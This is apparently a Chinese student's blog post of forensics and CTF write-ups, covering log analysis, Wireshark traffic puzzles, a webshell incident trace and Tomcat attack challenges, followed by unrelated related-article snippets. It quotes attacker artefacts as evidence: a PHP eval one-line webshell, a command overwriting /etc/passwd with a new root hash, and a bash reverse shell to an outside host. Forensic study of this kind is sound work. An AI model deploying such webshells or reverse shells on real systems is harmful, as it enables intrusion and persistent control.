前言

最近在学长分享应急响应与电子取证的知识,又恰逢期末周没有课,记录自己在取证道路的成长。

linux-basic-command

下载附件,得到Apache 服务器访问日志文件,根据题目要求找出排名前五的ip,题目提示写脚本,脚本如下

from collections import Counterdef extract_ips_from_log(log_file_path):ip_list = []with open(log_file_path, 'r', encoding='utf-8') as file:for line in file:# 提取 IP 地址(Apache日志默认第一个字段是IP)parts = line.split()if not parts:continueip = parts[0]# 检查时间戳是否在2015年(格式如 [12/Dec/2015:18:25:11 +0100])if "2015" in line:ip_list.append(ip)return ip_listdef get_top_ips(ip_list, top_n=5):ip_counter = Counter(ip_list)top_ips = ip_counter.most_common(top_n)return [ip for ip, count in top_ips]def main():log_file_path = r"D:\取证\access.log"  # 使用原始字符串(raw string)避免转义问题ip_list = extract_ips_from_log(log_file_path)top_ips = get_top_ips(ip_list)# 输出结果,用逗号分隔print(",".join(top_ips))if __name__ == "__main__":main()

注意修改文件路径即可。

flag{148.251.50.49,213.150.254.81,37.1.206.196,178.191.155.244,195.212.98.190}.

ire7-windows-log

下载得到日志文件,先点开看到信息,应该是跟登录有关,看了看信息发现登录失败,并且有关键字“审核失败”,那我们直接搜"审核成功"发现key

key{5sBgaXqR}

wireshark0

根据题目提示找到key1,直接搜索字符串“key1”在tcp流88找到答案 HYDw29eP

 wireshark0.5

题目描述为用户登入,其实可以先搜包含login的数据包, http contains "login",

 大眼一看这么多get请求中夹着post,直接去看post请求的包,果然发现了密码

flag{0p-0p-0p-} 

linux-log

依据分析日志,我是先看到最后一条日志,

Nov 20 12:05:26 student sshd[2052]: Accepted password for root from 192.168.4.223 port 54847 ssh2
Nov 20 12:05:26 student sshd[2052]: pam_unix(sshd:session): session opened for user root by (uid=0)

这应该是登录成功了,提交时间flag{120526},发现不对,然后我就搜索了"Accepted",然后看到第一出现的日志

Nov 19 17:28:47 student sshd[5215]: Accepted password for root from 192.168.4.23 port 60563 ssh2

Nov 19 17:28:47 student sshd[5214]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.4.23  user=root

Nov 19 17:28:47 student sshd[5215]: pam_unix(sshd:session): session opened for user root by (uid=0)

提交答案 flag{172847}正确

wireshark1

依旧老样子,先搜关键字key,发现www0587.zip,非常可疑,然后看看跟这个压缩包有关的数包,http contains "www0587.zip",果然就两个数据包,一个get请求,一个post请求,先看post请求,

 执行了一条命令

act=shell&cwd=%2Fvar%2Fwww%2Fhtml%2F&p1=+zip+-P+Adm1n%21+www0587.zip+-r+%2Fvar%2Fwww%2Fhtml&p2=&p3=&p4=&charset=gbk

  • 使用 zip 命令打包网站目录 (/var/www/html)

  • 设置压缩包密码为 Adm1n!(常见弱密码)

  • 生成名为 www0587.zip 的压缩文件(可能用于后续下载)

然后是get请求,打开看到乱码,猜测key应该在压缩包里。然后就想办法导出压缩包。在wireshark中能够将流量包中zip文件导出,具体步骤

捕获或打开包含文件传输的流量包 (如HTTP、FTP、SMB等协议)点击菜单栏的 "文件(File)" > "导出对象(Export Objects)"根据传输协议选择相应选项(如HTTP、SMB等)在弹出的窗口中,Wireshark会列出所有可导出的对象查找并选择您需要的压缩包文件(可通过文件类型或大小识别)点击"保存(Save)"或"保存所有(Save All)"按钮选择保存位置并确认。

使用其他方法可能会得到数据损坏的文件,导出后也知道了密码,就解压找key就行了

在Th1sLSth3key文件里

key:4tEm21x5

welog1

依旧是熟悉的日志文件,我一般都是直接看最后一个,发现状态码200,直接让ai分析一下日志,

使用into outfile将恶意代码写入服务器,

恶意代码就是<?php @eval($_POST['3b90d75de248ce55b66e8e30873b6000']);?>,一句话木马,那密码就是3b90d75de248ce55b66e8e30873b6000

flag{3b90d75de248ce55b66e8e30873b6000}

wireshark2.1

根据题目提示找key4的值,直接搜字符串key4,

发现key4.txt,根据上面写的方法导出文件,题目有给出了压缩包密码,得到flag

C8iuACXB

data-recovery

题目要求恢复磁盘文件,需要用工具DiskGenius,具体操作流程如下(下面这几张图是偷学长的,他不知道,,,)

 然后把压缩包解压flag就在里面了。

flag{73D3DA963F7505E9}

wireshark2 

题目给了两个流量包,通过某种特殊协议传输的敏感数据key1的值。老样子直接搜字符串key1,在第一个数据包没搜到,再第二个数据包发现可疑数据

 让ai分析后发现这段十六进制数据转换为ASCII文本后,显示的是一个Linux/Unix系统中的目录列表。执行了ls命令,然后继续往下看,ls命令执行后又执行了 cat key.txt,内容为

welcome_to_cisp-ire_and_the_key1_is_6r56FeX8

答案就是6r56FeX8

所以第一个流量包有啥用??

wireshark3

给个流量包,根据上面几题来看,我直接搜key关键字,果然有发现

key:wHa1_a_bUsY_dAy!!

我以为是答案发现不对, 然后看协议分组统计发现有4个POST请求,

发现了压缩包,老样子导出压缩包,上面说的方法不行,然后又去看了其大佬的博客, 方法如下

在流量包中点Media Type

然后右键,选导出分组字节流,保存为zip文件,解压发现需要密码,就是上面的key,解压得到ZmxhZ3syNTQ2YTZkODBjNGRiNDg2MzVlYjZ9,一眼base64,解码得到flag

flag{2546a6d80c4db48635eb6}

2024长城杯决赛-溯源取证

背景材料

您的同事李白在运维一台部署了移动应用服务端的linux服务器时发现了异常,好像被黑客攻击了。小李通过简单分析,发现可能是由于公司的移动应用和其服务端程序都存在安全问题导致的。小李将当天可能与攻击相关的流量导出,并与移动应用一起打包压缩,你可以下载分析,也可以登录此服务器进行攻击溯源、排查等,提供了SSH和VNC访问的方式供您和您的团队进行分析取证。

条件限制,没有靶机,但是用流量包也可以做

关卡1

要找出黑客攻击的两个ip,在wireshark中,统计->端点可以列出所有ip

 当时以为前两个就是,提交发现不对,所以只能一个一个分析。

先看ip为202.1.1.1的流量包 ip.src==202.1.1.1,

区分一下ip.addr和ip.src

条件定义包含的 IP 地址
ip.addr匹配数据包中任何与 IP 相关的地址,包括源 IP 和目的 IP。同时涵盖 ​ip.src​ 和 ​ip.dst​。
ip.src仅匹配数据包的源 IP 地址,即发送该数据包的设备 IP。仅指向数据包的发送方 IP。

​ip.addr == X​ 等价于 ip.src == X || ip.dst == X​(||​ 表示 “或” 关系)。

 而我们要找攻击者ip,所以用ip.src==202.1.1.1,服务器与客户端交互,服务器中也会有攻击数据,

看到好多post请求,而且执行了命令,这个就是黑客ip,而202.1.1.66就是受害者,

然后看202.1.129和202.1.1.130 ,看202.1.129发现执行了命令

所以202.1.1.129也是黑客ip

综上 202.1.1.1 202.1..1.129

关卡2

 要找登录密码,直接 http contains "login",然后一个一个看,在第二个包中发现flag

 {"flag":"password663399"}

关卡3

跟题目提示,找我无上上传权限的文件,直接搜 http contains "无上传权限",

文件名 pic.jpg

关卡4 

找api地址,就是上面那个图。答案就是  http://202.1.1.66:8080/api/upload

关卡5

要找上传路径,肯定是上传成功了,http.response.code==200,在tcp流51号找到了上传路径,http://202.1.1.66:8080/static/s74e7vwmzs21d5x6.jsp 但是没有靶机,答案是/usr/local/tomcat/webapps/ROOT/static/s74e7vwmzs21d5x6.jsp

关卡6

这一关要找密钥,那就要看看那个木马了,让ai分析一下得到传入bing_pass生成密钥,提交后正确 答案是bing_pass

关卡7

既然文件都上传进去了,那我们要找相关数据包  http.request.method == "POST" && http.request.uri contains "s74e7vwmzs21d5x6.jsp",先看第一个包,给出了密钥,第二个是正确的b99f657b04941030,然后就是冰蝎流量分析,冰蝎一般连接服务端之后会默认发一个状态检测包,因此第一个包一

般不用看。看第二个包即可

有密钥有密文解密就行,

这是class文件,反编译得到源码,我用的是jadx反编译,得到答案 pwd

关卡8

继续看下一个流量包,按照上面的步骤,这次执行了whoami

 看响应体即可,这里把数据保存为原始数据,然后在AES解密,(图示网站AES在线解密 AES在线加密 Aes online hex 十六进制密钥 - The X 在线工具)

base64解密 得到 tomcat这就是答案

关卡9

还是继续往下看 ,在tcp流174 中执行了4条命令,'cat /etc'  'ls'  'ls /etc'   'cat /etc/redhat-release'。而最后一条命令就是用于查看 Red Hat Enterprise Linux (RHEL) 或其衍生发行版(如 CentOS、Fedora)的系统版本信息。同上方法解密响应体得到答案 

CentOS Linux release 7.4.1708 (Core) 

关卡10

在看流量包是看到

GET /static/secert.file HTTP/1.1

这个路径和第5题有点像,在同一目录下/usr/local/tomcat/webapps/ROOT/static/secert.file

关卡11

http.request.method == "POST" && http.request.uri contains "s74e7vwmzs21d5x6.jsp",

继续向下看后黑客又执行了几条命令,在tcp流283中,

 响应体显示succcess,连接成功,看tcp 284就行

 执行了命令cat /etc/passwd

关卡12

在执行了cat /etc/passwd,黑客又执行了

echo -e "root:\$6\$KHysqjWMnoaHJ4QW\$p1cMTekiYb/6xA2u7j4jAD3m5shTPlPAtM6jyoex73MxxHXlms4X0874ml/gw6.LETsMs5oXLWyGeSAddx2N..:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\ngames:x:12:100:games:/usr/games:/sbin/nologin\nftp:x:14:50:FTP User:/var/ftp:/sbin/nologin\nnobody:x:99:99:Nobody:/:/sbin/nologin\navahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\npolkitd:x:999:998:User for polkitd:/:/sbin/nologin\ntss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin\npostfix:x:89:89::/var/spool/postfix:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin\nsystemd-network:x:192:192:systemd Network Management:/:/sbin/nologin\ngeoclue:x:998:996:User for geoclue:/var/lib/geoclue:/sbin/nologin\nrtkit:x:172:172:RealtimeKit:/proc:/sbin/nologin\ncolord:x:997:995:User for colord:/var/lib/colord:/sbin/nologin\npulse:x:171:171:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin\ngdm:x:42:42::/var/lib/gdm:/sbin/nologin\nchrony:x:996:992::/var/lib/chrony:/sbin/nologin\ntomcat:x:1000:1000::/home/tomcat:/bin/bash\n" > /etc/passwd

这条命令替换了root用户的密码哈希值,所以通过/etc/passwd文件修改密码

关卡13

已知密文是$6$KHysqjWMnoaHJ4QW$p1cMTekiYb/6xA2u7j4jAD3m5shTPlPAtM6jyoex73MxxHXlms4X0874ml/gw6.LETsMs5oXLWyGeSAddx2N..

解密就行了,看大佬都是用hashcat但是我复现光出错,我再去沉淀沉淀。。。

密码是123456(别问我怎么知道的)

关卡14

上面得到ip和端口

202.1.1.129:4444,但是不对,搜索该ip后发现不但有4444端口,还有9999端口

 答案是202.1.1.129:9999

关卡15

反连的ip和端口我们已经知道了,直接找 tcp.port==9999,在tcp流536中找到答案

rpm -qa | grep pam

rpm -qa | grep pam 是 Linux 系统中用于查询已安装的 PAM (Pluggable Authentication Modules) 相关软件包的命令。下面我将详细解释这个命令的作用和典型输出

关卡16

 这一看正好题目给了这俩文件,已提交果然对了

pam_unix.so

关卡17

这就要用到题目给的那两个文件了,这个文件可以用IDA打开,我学的web这IDA也不会用,只好求助我学逆向的同学,然后找到了,这个字符串比较,如果不相等就退出

 ssh_back_pwd就是密码

关卡18

如上图,文件就是/tmp/.sshlog

流量特征分析-常见攻击事件 tomcat - From 玄机

tomcat-1

让分析可疑ip,先统计分析一下

 看最多的那两个先看14.0.0.120

ip.src==14.0.0.120;

看到许多SYN包,猜测是SYN Flood 攻击

流量特征:
发送大量 SYN 包,尝试建立连接但不完成三次握手过程(半开连接)。
TCP SYN 包的来源端口和目标端口多为随机,常见目标端口为 21(FTP)、22(SSH)、80(HTTP)、443(HTTPS)等常见服务端口。
如果目标主机回复 SYN-ACK 包,Nmap 会立即发送 RST 包来中断连接。
nmap默认扫描就是SYN扫描,数据包中User-Agent都是带有特征的

那这个就是攻击者ip

flag{14.0.0.120}

tomcat-2

然分析地址,在线网站查询一下就行ip查询 查ip 网站ip查询 同ip网站查询 iP反查域名 iP查域名 同ip域名

flag{guangzhou}

tomcat-3

1. 常见的 Web 管理端口

通常,Web 服务器管理面板会使用以下常见端口:

80(HTTP):不安全的网页访问。
443(HTTPS):安全的网页访问。
8080:常见的备用 HTTP 端口。
8443:常见的备用 HTTPS 端口。
2082, 2083:cPanel 默认管理端口。
10000:Webmin 默认管理端口。
8006:Proxmox Virtual Environment 管理端口。
3000:用于许多自定义和开发中的管理面板,如 Grafana。
同样的我们也可以通过一下特征来识别管理面板;

根据流量内容,可以识别是否是管理面板的访问请求。通常,管理面板的 URL 路径可能包含如下关键词:admin
login
cpanel
webmin
dashboard
manage
搜索'admin'发现就是8080端口,

flag{8080}

tomcat-4

上文说到黑客应该是用NMAP扫描目录了这时候就可以看一下User-Agent,带有特征的

要看原地址是黑客ip的流量包

flag{gobuster}

tomcat-5 

第一想法是直接搜login http.contains "login",没有找到答案,然后找了一圈啥也没找到,最后分析协议是发现只有一个POST请求,看一下,发现Authorization

HTTP基本认证是一种常见的用户认证方法。它的工作原理是通过HTTP头部的 Authorization 字段来传递用户的凭证(用户名和密码)。Authorization 字段紧跟着一个 Basic 关键字,后面跟着一串Base64编码的字符串。

解码得到flag

flag{admin-tomcat}

tomcat-6 

还是那个流量包,有个文件JXQOZY.war,

flag{JXQOZY.war}

tomcat-7

这个是真不会,无从下手,然后看大佬博客

在流量中,任何涉及到管理接口、上传文件、或执行命令的请求都需要重点关注。例如:

POST /manager/html/upload:上传文件请求
/bin/sh 或 /bin/bash:执行命令的请求
提权后的持久化手段

攻击者常用的方法包括:

上传恶意文件:例如,WAR文件中可能包含shell脚本或其他恶意代码。
定时任务(cron job):通过定时任务执行恶意代码。
后门程序:例如,将恶意程序放置在 /bin 或其他系统目录。

直接搜“/bin"得到答案

flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'} 

结语

行文至此,大一下学期的取证就学到这,接下来要认真准备期末了。说来当时学长刚开始讲取证的时候,也没有太大的兴趣,后来自己在刷杂项题的时候,看到了取证题脑袋一热就想学,就以此篇文章为我学取证的开篇。剩下的题目等期末考试后再写。

路漫漫其修远兮,吾将上下而求索。(最后也祝愿大家期末考试门门都考90以上!!)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/84127.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/84127.shtml
英文地址,请注明出处:http://en.pswp.cn/web/84127.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MybatisPlus深入学习

今天深入的学习了一下mp&#xff0c;从头开始学习&#xff01;哈哈哈哈哈 本节只讲干的&#xff01; 我们上来先看一段代码&#xff0c;不知道你能不能看明白&#xff01; package com.itheima.mp.mapper;import com.baomidou.mybatisplus.core.conditions.query.QueryWrapp…

安卓9.0系统修改定制化____安卓9.0系统精简 了解系统app组件构成 系统app释义 常识篇 一

在安卓 9.0 系统的使用过程中,许多用户都希望能够对系统进行深度定制,让手机系统更加贴合个人需求。而系统精简作为定制化的重要一环,不仅能够释放手机存储空间,还能提升系统运行速度,优化资源分配。想要安全有效地对安卓 9.0 系统进行精简,深入了解系统 app 组件的构成是…

2.4 Windows Conan编译FFmpeg 4.4.1

Conan的安装与使用参考之前的文章&#xff1a;Conan简单使用 一、Conan编译ffmpeg 1.1 Conan的配置文件 创建配置文件&#xff1a;C:\Users\wujh\.conan2\profiles\vs2019 [settings] archx86_64 build_typeRelease compilermsvc compiler.cppstd14 compiler.runtimedynami…

社群经济视域下开源链动2+1模式与AI智能名片赋能S2B2C商城小程序的创新发展研究

摘要&#xff1a;在数字经济蓬勃发展的背景下&#xff0c;社群经济作为连接用户情感与价值反哺的新型经济形态&#xff0c;正通过技术创新与模式重构实现深度演化。本文基于社群经济“创造有价值连接”的本质特征&#xff0c;系统探讨“开源链动21模式”“AI智能名片”与“S2B2…

【计算机网络】——reactor模式高并发网络服务器设计

&#x1f525;个人主页&#x1f525;&#xff1a;孤寂大仙V &#x1f308;收录专栏&#x1f308;&#xff1a;计算机网络 &#x1f339;往期回顾&#x1f339;&#xff1a;【计算机网络】非阻塞IO——epoll 编程与ET模式详解——(easy)高并发网络服务器设计 &#x1f516;流水不…

Uniapp跨端兼容性全方位解决方案

在当今多端融合的移动互联网时代&#xff0c;Uniapp作为一款优秀的跨平台开发框架&#xff0c;已成为许多开发者的首选。然而&#xff0c;真正的挑战在于如何优雅地处理不同平台之间的差异。本文将全面剖析Uniapp跨端开发的兼容性处理方案&#xff0c;提供从基础到高级的完整解…

迅为RK3576开发板NPUrknn-toolkit2环境搭建和使用docker环境安装

开发板采用核心板底板结构&#xff0c;在我们的资料里提供了底板的原理图工程以及PCB工程&#xff0c;可以实现真正意义上的裁剪、定制属于自己的产品&#xff0c;满足更多应用场合。 迅为针对RK3576开发板整理出了相应的开发流程以及开发中需要用到的资料&#xff0c;并进行详…

什么是 OpenFeigin ?微服务中的具体使用方式

什么是Feign&#xff1f; Feign 是一种声明式的 HTTP 客户端框架&#xff0c;主要用于简化微服务架构中服务之间的远程调用&#xff0c;也可以通过定义接口和注解的方式调用远程服务&#xff0c;无需手动构建 HTTP 请求或解析响应数据。Spring Cloud 对 Feign 进行了增强&…

对抗性提示:进阶守护大语言模型

人工智能模型正快速进化 —— 变得更具帮助性、更流畅&#xff0c;并且更深入地融入我们的日常生活和商业运营中。但随着其能力的提升&#xff0c;风险也在增加。在维护安全可信的人工智能方面&#xff0c;最紧迫的挑战之一是对抗性提示&#xff1a;这是一种微妙且通常富有创意…

运营商频段

以下是三大运营商&#xff08;中国移动、中国电信、中国联通&#xff09;及中国广电的 5G 主要频段 及其所属运营商的整理表格&#xff1a; 运营商频段上行频率 (MHz)下行频率 (MHz)带宽备注广电n28703-733758-788230MHz移动共享n794900-4960-60MHz-移动n412515-2675-160MHz-n7…

项目拓展-Apache对象池,对象池思想结合ThreadLocal复用日志对象

优化日志对象创建以及日志对象复用 日志对象上下文实体类 traceId 请求到达时间戳 请求完成时间戳 请求总共耗费时长 get/post/put/delete请求方式 Http状态码 原始请求头中的所有键值对 请求体内容 响应体内容 失败Exception信息详细记录 是否命中缓存 package c…

Javaweb - Vue入门

Vue是一款用于构建用户界面的渐进式的JavaScript框架。 使用步骤 引入Vue模块&#xff0c;创建Vue的应用实例&#xff0c;定义元素&#xff0c;交给Vue控制。 一、引入Vue模块 因为使用的是模块化的JavaScript&#xff0c;因此在script标签内要声明一个属性&#xff1a;typ…

C++ 标准模板库各个容器的应用场景分析

C 标准模板库&#xff08;STL&#xff09;中的容器分为序列式容器、关联式容器和无序容器&#xff0c;各自适用于不同场景。以下是主要容器的应用场景及案例&#xff1a; 一、序列式容器 元素按插入顺序存储&#xff0c;支持线性访问。 1. vector 场景&#xff1a;动态数组…

安装前端vite框架,后端安装fastapi框架

前期准备 首先新建一个文件夹&#xff0c;文件夹里面新建一个文件夹&#xff0c;用于安装依赖 安装vite框架 npm init -y 目的是安装package.json配置文件 npm install vite --save-dev 安装vite框架 安装完是这个样子 新建了一个文件夹和js文件 后端内容 main.js document.…

深度学习:基础与概念(第1章:深度学习革命)

目录 第1章&#xff1a;深度学习革命 1.1深度学习的影响 1.1.1医疗诊断 1.1.2蛋白质结构预测 1.1.3图像合成 1.1.4大语言模型 1.2一个教学示例 1.2.1合成数据 1.2.2线性模型 1.2.3误差函数 1.2.4模型复杂度 1.2.5正则化 1.2.6模型选择 1.3机器学习简史 1.3.1单层…

通过触发器统计访问数据库的客户端IP地址

通过触发器统计访问数据库的客户端IP地址 创建用户登录审计表创建登录审计触发器查看登录审计结果禁用和启用触发器创建用户登录审计表 创建记录表: create table appuser1.user_login_audit (login_time DATE,session_id number,username VARCHAR2(30),os_user VARCHAR2(30…

在MCU上的1微秒的延迟实现方案及测量方法

运行环境&#xff1a; stm32h743iit6; 主频480MHz; APB1; 240MHz; TIM5 240MHz; 预分频系数为1; 定时器计数频率240MHz&#xff1b; 应用需求&#xff1a;实现软件模拟IIC&#xff0c;延迟精度2个微秒&#xff1b; 量变引起质变&#xff0c;当延迟粒度太小时&#xff0c;需要考…

macos电脑本地搭建mistral-7b大模型出现4-bit量化和缓存不足问题的记录

问题背景 本人想再本地笔记本电脑上搭建一个mistral-7b的大模型&#xff0c;在搭建的过程中&#xff0c;出现了4-bit量化模式无法处理的问题&#xff0c;以及电脑内存/显存不足的问题&#xff0c;导致无法搭建 电脑硬件信息 名称&#xff1a;2019 Mac book pro 内存&#xff1a…

C# 基础知识总结(带详细文字说明)

1. 基础语法结构 C# 程序由命名空间、类和方法组成。每个程序必须有一个 Main 方法作为入口点。using 指令用于导入命名空间&#xff0c;Console.WriteLine() 是常用的输出方法。 csharp 复制 下载 using System; // 引入核心命名空间class Program // 类定义 {static v…

C#最佳实践:为何要统一命名

C#最佳实践:为何要统一命名 在 C# 编程的世界里,代码就像是一座庞大的数字城市,而命名则是城市中纵横交错的街道名称与建筑标识。如果没有统一的命名规范,这座城市将陷入混乱,开发者在其中探索、维护代码时也会迷失方向。统一命名不仅是一种编程习惯,更是保障代码质量、…